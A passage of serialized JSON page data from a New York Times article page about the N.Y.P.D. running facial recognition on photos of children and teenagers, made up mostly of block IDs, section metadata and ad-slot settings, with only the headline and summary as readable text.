ZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.followChannels.2","typename":"ChannelMetadata"}],"dfpTaxonomyException":null,"advertisingProperties":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.advertisingProperties","typename":"CreativeWorkAdvertisingProperties"},"translations":[],"summary":"With little oversight, the N.Y.P.D. has been using powerful surveillance technology on photos of children and teenagers.","lastMajorModification":"2019-08-02T09:30:23.000Z","uri":"nyt:\u002F\u002Farticle\u002F9da58246-2495-505f-9abd-b5fda8e67b56","eventId":"pubp:\u002F\u002Fevent\u002F47a657bafa8a476bb36832f90ee5ac6e","promotionalMedia":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.promotionalMedia","typename":"Image"},"newsStatus":"DEFAULT","episodeProperties":null,"column":null,"reviewItems":[],"shortUrl":"https:\u002F\u002Fnyti.ms\u002F2GEzuZ8","promotionalHeadline":"She Was Arrested at 14. Her Photo Went to a Facial Recognition Database.","promotionalSummary":"With little oversight, the police have been using the powerful surveillance technology on photos of children and teenagers.","reviewSummary":"","legacy":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.legacy","typename":"ArticleLegacyData"},"addendums":[],"related@filterEmpty":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.compatibility":{"isOak":true,"__typename":"CompatibilityFeatures","hasVideo":false,"hasOakConversionError":false,"isArtReview":false,"isBookReview":false,"isDiningReview":false,"isMovieReview":false,"isTheaterReview":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.archiveProperties":{"timesMachineUrl":"","lede@stripHtml":"","thumbnails":[],"__typename":"ArticleArchiveProperties"},"LegacyCollection:TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzE5ZjY2OTk4LWY1NjItNWVjNi1iM2Y5LTI5OGYxYzc2ZGQ4NA==":{"id":"TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzE5ZjY2OTk4LWY1NjItNWVjNi1iM2Y5LTI5OGYxYzc2ZGQ4NA==","slug":"nyregion","__typename":"LegacyCollection","name":"New York","collectionType":"SECTION","uri":"nyt:\u002F\u002Flegacycollection\u002F19f66998-f562-5ec6-b3f9-298f1c76dd84","type":"legacycollection","header":"","showCollectionStories":false},"LegacyCollection:TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzExZjcyYWI0LTdjZDAtNTQwYS05M2NjLWYzNWIzMmNkMDEzZA==":{"id":"TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzExZjcyYWI0LTdjZDAtNTQwYS05M2NjLWYzNWIzMmNkMDEzZA==","slug":"us","__typename":"LegacyCollection","name":"U.S. News","collectionType":"SECTION","uri":"nyt:\u002F\u002Flegacycollection\u002F11f72ab4-7cd0-540a-93cc-f35b32cd013d","type":"legacycollection","header":"","showCollectionStories":false},"LegacyCollection:TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzU4ZWNlMGQwLTNjMzUtNWZhOS1iNTM1LTk0OTk3YTdjOGMwZg==":{"id":"TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzU4ZWNlMGQwLTNjMzUtNWZhOS1iNTM1LTk0OTk3YTdjOGMwZg==","slug":"technology","__typename":"LegacyCollection","name":"Technology","collectionType":"SECTION","uri":"nyt:\u002F\u002Flegacycollection\u002F58ece0d0-3c35-5fa9-b535-94997a7c8c0f","type":"legacycollection","header":"","showCollectionStories":false},"LegacyCollection:TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzkwODhjZmU2LTg1ZTMtNTJmYi05OTNlLTYyODk3MDJhMTFmZg==":{"id":"TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzkwODhjZmU2LTg1ZTMtNTJmYi05OTNlLTYyODk3MDJhMTFmZg==","slug":"experience-tech-and-society","__typename":"LegacyCollection","name":"Tech and Society","collectionType":"SPOTLIGHT","uri":"nyt:\u002F\u002Flegacycollection\u002F9088cfe6-85e3-52fb-993e-6289702a11ff","type":"legacycollection","header":"","showCollectionStories":false},"Section:U2VjdGlvbjpueXQ6Ly9zZWN0aW9uLzM5NDgwMzc0LTY2ZDMtNTYwMy05Y2UxLTU4Y2ZhMTI5ODhlMg==":{"id":"U2VjdGlvbjpueXQ6Ly9zZWN0aW9uLzM5NDgwMzc0LTY2ZDMtNTYwMy05Y2UxLTU4Y2ZhMTI5ODhlMg==","name":"nyregion","displayName":"New York","url":"\u002Fsection\u002Fnyregion","uri":"nyt:\u002F\u002Fsection\u002F39480374-66d3-5603-9ce1-58cfa12988e2","__typename":"Section"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0":{"__typename":"HeaderBasicBlock","label":null,"headline":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.headline","typename":"Heading1Block"},"summary":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.summary","typename":"SummaryBlock"},"ledeMedia":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.ledeMedia","typename":"ImageBlock"},"byline":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline","typename":"BylineBlock"},"timestampBlock":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.timestampBlock","typename":"TimestampBlock"}},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1.content.0","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1.content.1","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1.content.2","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.2":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.2.content.0","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.2.content.1","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.2.content.2","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.3":{"__typename":"Dropzone","index":0,"bad":false,"adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.4":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.4.content.0","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.4.content.1","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.4.content.2","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.5":{"__typename":"Dropzone","index":1,"bad":false,"adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.6":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.6.content.0","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.7":{"__typename":"Dropzone","index":2,"bad":false,"adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.8":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.8.content.0","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.9":{"__typename":"Dropzone","index":3,"bad":false,"adsMobile":true,"adsDesktop":true},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.10":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.10.content.0","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.10.content.1","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.10.content.2","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.11":{"__typename":"Dropzone","index":4,"bad":false,"adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.12":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.12.content.0","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.13":{"__typename":"Dropzone","index":5,"bad":false,"adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.0","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.1","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.2","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.3","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.4","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.5","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.6","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.15":{"__typename":"Dropzone","index":6,"bad":false,"adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.16":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.16.content.0","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.16.content.1","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.17":{"__typename":"Dropzone","index":7,"bad":false,"adsMobile":true,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.18":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.18.content.0","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.18.content.1","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.18.content.2","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.18.content.3","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.19":{"__typename":"Dropzone","index":8,"bad":false,"adsMobile":false,"adsDesktop":true},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.20":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.20.content.0","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.20.content.1","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.20.content.2","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.20.content.3","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.21":{"__typename":"Dropzone","index":9,"bad":true,"adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.22":{"__typename":"ImageBlock","size":"MEDIUM","media":{"type":"id","generated":false,"id":"Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvNWE2OTRjM2UtMjA2Ni01MWExLTk2NWQtNGJlODc3OWJhZGVm","typename":"Image"}},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.23":{"__typename":"Dropzone","index":10,"bad":true,"adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.24":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.24.content.0","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.25":{"__typename":"Dropzone","index":11,"bad":false,"adsMobile":true,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.0","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.1","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.2","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.3","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.4","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.5","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.6","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.7","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.8","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.9","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.27":{"__typename":"Dropzone","index":12,"bad":false,"adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.28":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.28.content.0","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.28.content.1","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.28.content.2","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.29":{"__typename":"Dropzone","index":13,"bad":false,"adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.30":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.30.content.0","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.30.content.1","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.30.content.2","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU